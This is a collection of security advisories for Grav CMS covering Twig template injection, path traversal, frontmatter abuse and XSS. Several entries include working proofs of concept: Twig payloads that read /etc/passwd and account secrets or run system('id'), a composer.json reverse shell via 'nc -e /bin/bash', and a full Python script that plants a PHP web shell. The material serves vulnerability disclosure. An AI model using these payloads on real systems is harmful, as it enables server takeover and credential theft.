A cross-site scripting (XSS) vulnerability in Grav v1.7.45 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
Summary A low privilege user account with page edit privilege can read any server files using Twig Syntax. This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.
Proof Of Concept {{ readfile('/var/www/html/grav/user/accounts/riri.yaml') }}
Use the above Twig template syntax in a page and observe that the administrator riri's authentication details are exposed accessible by any unauthenticated user.
!file-read-2-ATO
As an additional proof of concept for reading system files, observe the /etc/passwd file read using the following Twig syntax: {{ readfile('/etc/passwd') }}
!file-read-etc-passwd
Impact This can allow a low privileged user to perform a full account takeover of other registered users including Adminsitrators. This can also allow an adversary to read any file in the web server.
Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99 php / Defines a new escaper to be used via the escape filter. @param string $strategy The strategy name that should be used as a strategy in the escape call @param callable $callable A valid PHP callable / public function setEscaper($strategy, callable $callable) { $this->escapers[$strategy] = $callable; } Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
plaintext {{ grav.twig.twig.extensions.core.setEscaper('a','a') }} At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC {{ vardump(grav.twig.twig.extensions.core.setEscaper('system','twigarrayfilter')) }} {{ vardump(['id'] | escape('system', 'system')) }}
Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.
Details The twig context has a function declared called getFunction. php public function getFunction($name) { if (!$this->extensionInitialized) { $this->initExtensions(); }
if (isset($this->functions[$name])) { return $this->functions[$name]; }
foreach ($this->functions as $pattern => $function) { $pattern = strreplace('\\', '(.?)', pregquote($pattern, '#'), $count);
if ($count) { if (pregmatch('#^'.$pattern.'$#', $name, $matches)) { arrayshift($matches); $function->setArguments($matches);
return $function; } } }
foreach ($this->functionCallbacks as $callback) { if (false !== $function = \calluserfunc($callback, $name)) { return $function; } }
return false; } This function, if the value of $name does not exist in $this->functions, uses calluserfunc to execute callback functions stored in $this->functionCallbacks.
It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.
The default function callback is as follows: php $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefunctions'); if (isarray($allowed) and inarray($name, $allowed, true) and functionexists($name)) { return new TwigFunction($name, $name); } if ($config->get('system.twig.undefinedfunctions')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefunctions", EUSERDEPRECATED);
return new TwigFunction($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: system.twig.safefunctions")); }
return new TwigFunction($name, static function () {}); }
return false; }); If you look at this function, if the value of system.twig.undefinedfunctions is false, it returns false. In that case, it is possible for our registered callback to be executed.
At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefinedfunctions to false. As a result, an attacker can execute any arbitrarily registered callback function.
PoC {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
!image
Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands.
Details {{ grav.twig.twig.getFunction('twigarraymap')|vardump }} !image
When we accessed twigarraymap like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twigarraymap without any restrictions.
{% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }} Since there is no validation on twigarraymap itself, it is possible to call arbitrary function using calluserfunc.
PoC {% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }}
Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox.
Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php":
php ... $this->twig = new TwigEnvironment($loaderchain, $params);
$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefunctions'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFunction($name, $name); } if ($config->get('system.twig.undefinedfunctions')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefunctions", EUSERDEPRECATED);
return new TwigFunction($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: system.twig.safefunctions")); }
return new TwigFunction($name, static function () {}); }
return false; });
$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED); return new TwigFilter($name, $name); } ... In the code above it can be seen that the calls of the "isDangerousFunction()" are not performed when the method/filter in the "$name" variable has been considered safe. A function can be defined safe only by an administrator user, by adding it into the configuration properties "system.twig.safefunctions" and/or "system.twig.safefilters" (a sort of whitelists that by default are empty) of the configuration file "system/config/system.yaml".
It is to note that within the "system/src/Grav/Common/Twig.php" file a Twig class is defined (with its constructor, methods and attributes) and in particular the Twig object (and environment) is instantiated on it: php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template; ... / Constructor @param Grav $grav / public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }
/ Twig initialization that sets the twig loader chain, then the environment, then extensions and also the base set of twig vars @return $this / public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; ... Since the security sandbox does not protect the Twig object it is possible to interact with it (e.g. call its methods, read/write its attributes) through opportunely crafted Twig template directives injected on a web page. Then an authenticated editor user could be able to add arbitrary functions into the Twig attributes "system.twig.safefunctions" and "system.twig.safefilters" in order to circumvent the Grav CMS sandbox.
PoC An authenticated user with the permissions to edit a page (having Twig processing enabled) on the Grav CMS admin console, could create/edit a web page containing a malicious template directive to execute arbitrary OS commands on the remote web server. For instance, in order to abuse the vulnerability and execute the prohibited "system('id')" code, bypassing the sandbox, the editor could generate a web page containing the following template directives: {% set arr = {'1':'system', '2':'foo'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefunctions', arr)) }} {{ system('id') }} Once saved the malicious page could be accessed by unauthenticated users to execute the "system('id')" code on the remote server hosting the vulnerable Grav CMS.
Impact It is possible to execute remote code on the underlying server and compromise it.
Tested version Grav CMS v1.7.43
Reported by Maurizio Siddu
Summary Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.
Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2
Details Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings);
// Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? false; if (!isset($settings['destination']) && $self === false) { throw new RuntimeException($this->translate('PLUGINADMIN.DESTINATIONNOTSPECIFIED'), 400); }
if (null === $filename) { // If no filename is given, use the filename from the uploaded file (path is not allowed). $folder = ''; $filename = $metadata['filename'] ?? ''; } else { // If caller sets the filename, we will accept any custom path. $folder = dirname($filename); -> Vulnerable Code if ($folder === '.') { $folder = ''; } $filename = Utils::basename($filename);
PoC
1. Log in to the Grav CMS using a super administrator account. 2. Add a user in the "Accounts" section with the following permissions: - Login to Admin - Page Update 3. Log out of the super administrator account and log in with the previously created user account. 4. Navigate to the https://<grav>admin/pages/home. 5. Use the following command in Kali Linux to open a netcat listener: nc -lvnp 8081 !image Note: "nc" or netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. We are using this tool to get a reverse shell from the server hosting Grav CMS. 7. Using a web interception proxy, click on the "Page Media" section and upload a json file with the following added to the "scripts" section (https://getcomposer.org/doc/articles/scripts.md): "post-install-cmd": "nc <IP-address> 8081 -e /bin/bash", "post-update-cmd": "nc <IP-address> 8081 -e /bin/bash" Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command that executes the corresponding script before any Composer Command is executed on the CLI. !image Note: . Please replace <IP-address> with the IP address of the Kali Linux netcat listener. 8. Modify the "name" parameter to "../../../c/omposer.json" and forward the request. 9. Observe the successful upload message from the server response: !image 10. In the Grav web root, observe that the "composer.json" file was successfully replaced by the malicious "composer.json" file containing a reverse shell script. 11. Run any variations of the following commands in the Grav web server and observe the successful reverse shell: - bin/grav composer - composer update - composer install !image
Impact
1. Arbitrary Code Injection: Attackers can replace the composer.json file with a malicious one containing arbitratry composer scripts. This can result in code execution when the composer command is used for any purpose in the server. that can allow attackers to get a reverse shell on the server.
2. Backup Compromise: .zip backup files can be replaced, undermining data integrity and recovery mechanisms: !image !image
3. Sensitive Information Exposure: Modification of .css files provides an avenue for attackers to exfiltrate sensitive information, such as usernames and passwords, compromising confidentiality. !image
Summary - Due to insufficient permission verification, user who can write a page use frontmatter feature. - Inadequate File Name Validation
Details 1. Insufficient Permission Verification
In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link
2. Inadequate File Name Validation
To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xsscheck: false attribute should be added. Disable XSS
--- title: Contact Form
form: name: contact xsscheck: false
fields: name: label: Name placeholder: Enter your name autocomplete: on type: text validate: required: true
buttons: submit: type: submit value: Submit
process: save: filename: thisisfilename.phar operation: add
---
Contact form
Some sample page content
Exploiting these two vulnerabilities allows the following scenario:
- A regular user account capable of creating pages is required. - An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account. - Accessing the Contact Form page, the attacker submits PHP code. - The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].
PoC
PoC Video Link
python PoC.py import requests from bs4 import BeautifulSoup
class Poc:
def init(self, cmd): self.sess = requests.Session()
########## INIT ################ self.USERNAME = "guest" self.PASSWORD = "Guest123!" self.PREFIXURL = "http://192.168.12.119:8888/grav" self.PAGENAME = "thisispocpage47" self.PHPFILENAME = "universe.phar" self.PAYLOAD = '<?php system($GET["cmd"]); ?>' self.cmd = cmd ########## END ################
self.sess.get(self.PREFIXURL) self.login() self.savepage() self.injectcommand() self.executecommand()
def getnonce(self, data, name): # Get login nonce value res = BeautifulSoup(data, "html.parser") return res.find("input", {"name" : name}).get("value")
def login(self): print("[] Try to Login") res = self.sess.get(self.PREFIXURL + "/admin")
loginnonce = self.getnonce(res.text, "login-nonce")
# Login logindata = { "data[username]" : self.USERNAME, "data[password]" : self.PASSWORD, "task" : "login", "login-nonce" : loginnonce } res = self.sess.post(self.PREFIXURL + "/admin", data=logindata)
# Check login if res.statuscode != 303: print("[!] username or password is wrong") exit() print("[] Success Login")
def savepage(self): print("[] Try to write page")
res = self.sess.get(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")
# Add page data pagedata = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGENAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGENAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbodyclasses%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Borderby%5D=&data%5Bheader%5D%5Bordermanual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&postentriessave=edit&form-name=flex-pages&uniqueformid={uniqueformid}&form-nonce={formnonce}&toggleabledata%5Bheader%5D%5Bpublished%5D=0&toggleabledata%5Bheader%5D%5Bdate%5D=0&toggleabledata%5Bheader%5D%5Bpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bunpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bmetadata%5D=0&toggleabledata%5Bheader%5D%5Bdateformat%5D=0&toggleabledata%5Bheader%5D%5Bmenu%5D=0&toggleabledata%5Bheader%5D%5Bslug%5D=0&toggleabledata%5Bheader%5D%5Bredirect%5D=0&toggleabledata%5Bheader%5D%5Bprocess%5D=0&toggleabledata%5Bheader%5D%5Btwigfirst%5D=0&toggleabledata%5Bheader%5D%5Bnevercachetwig%5D=0&toggleabledata%5Bheader%5D%5Bchildtype%5D=0&toggleabledata%5Bheader%5D%5Broutable%5D=0&toggleabledata%5Bheader%5D%5Bcacheenable%5D=0&toggleabledata%5Bheader%5D%5Bvisible%5D=0&toggleabledata%5Bheader%5D%5Bdebugger%5D=0&toggleabledata%5Bheader%5D%5Btemplate%5D=0&toggleabledata%5Bheader%5D%5Bappendurlextension%5D=0&toggleabledata%5Bheader%5D%5Bredirectdefaultroute%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleabledata%5Bheader%5D%5Badmin%5D%5Bchildrendisplayorder%5D=0&toggleabledata%5Bheader%5D%5Blogin%5D%5Bvisibilityrequiresaccess%5D=0" pagedata += f"&data%5Bjson%5D%5Bheader%5D%5Bform%5D=%7B%22xsscheck%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHPFILENAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D" res = self.sess.post(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add" , data = pagedata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[] Success write page: " + self.PREFIXURL + f"/{self.PAGENAME}")
def injectcommand(self): print("[] Try to inject php code")
res = self.sess.get(self.PREFIXURL + f"/{self.PAGENAME}") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")
formdata = f"data%5Bname%5D={self.PAYLOAD}&form-name=contact-form&uniqueformid={uniqueformid}&form-nonce={formnonce}"
res = self.sess.post(self.PREFIXURL + f"/{self.PAGENAME}" , data = formdata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[] Success inject php code")
def executecommand(self): res = self.sess.get(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}")
if res.statuscode == 404: print("[!] Fail to execute command or not save php file.") exit()
print("[] This is uploaded php file url.") print(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}") print(res.text)
if name == "main": Poc(cmd="id")
Impact
Remote Code Execution
A cross-site scripting (XSS) vulnerability in Grav versions 1.7.44 and before, allows remote authenticated attackers to execute arbitrary web scripts or HTML via the onmouseover attribute of an ISINDEX element.
DOMSanitizer (aka dom-sanitizer) before 1.0.7 allows XSS via an SVG document because of mishandling of comments and greedy regular expressions.
stored xss in GitHub repository getgrav/grav prior to 1.7.33.
Cross-site Scripting (XSS) - Stored in GitHub repository getgrav/grav prior to 1.7.31.
Cross-site Scripting (XSS) - Stored in GitHub repository getgrav/grav prior to 1.7.31.
Cross-site Scripting (XSS) - Stored in Packagist getgrav/grav prior to 1.7.28.
grav-plugin-admin is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
grav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
grav is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. The issue was addressed in version 1.7.11.
Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user. This vulnerability is fixed in version 1.10.8. Blocking access to the /admin path from untrusted sources can be applied as a workaround.
The Scheduler in Grav CMS through 1.7.0-rc.17 allows an attacker to execute a system command by tricking an admin into visiting a malicious website (CSRF).
The BackupDelete functionality in Grav CMS through 1.7.0-rc.17 allows an authenticated attacker to delete arbitrary files on the underlying server by exploiting a path-traversal technique. (This vulnerability can also be exploited by an unauthenticated attacker due to a lack of CSRF protection.)
The Backup functionality in Grav CMS through 1.7.0-rc.17 allows an authenticated attacker to read arbitrary local files on the underlying server by exploiting a path-traversal technique. (This vulnerability can also be exploited by an unauthenticated attacker due to a lack of CSRF protection.)
Common/Grav.php in Grav before 1.7 has an Open Redirect. This is partially fixed in 1.6.23 and still present in 1.6.x.
Grav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images.
Cross-site scripting (XSS) vulnerability in system/src/Grav/Common/Twig/Twig.php in Grav CMS before 1.3.0 allows remote attackers to inject arbitrary web script or HTML via the PATHINFO to admin/tools.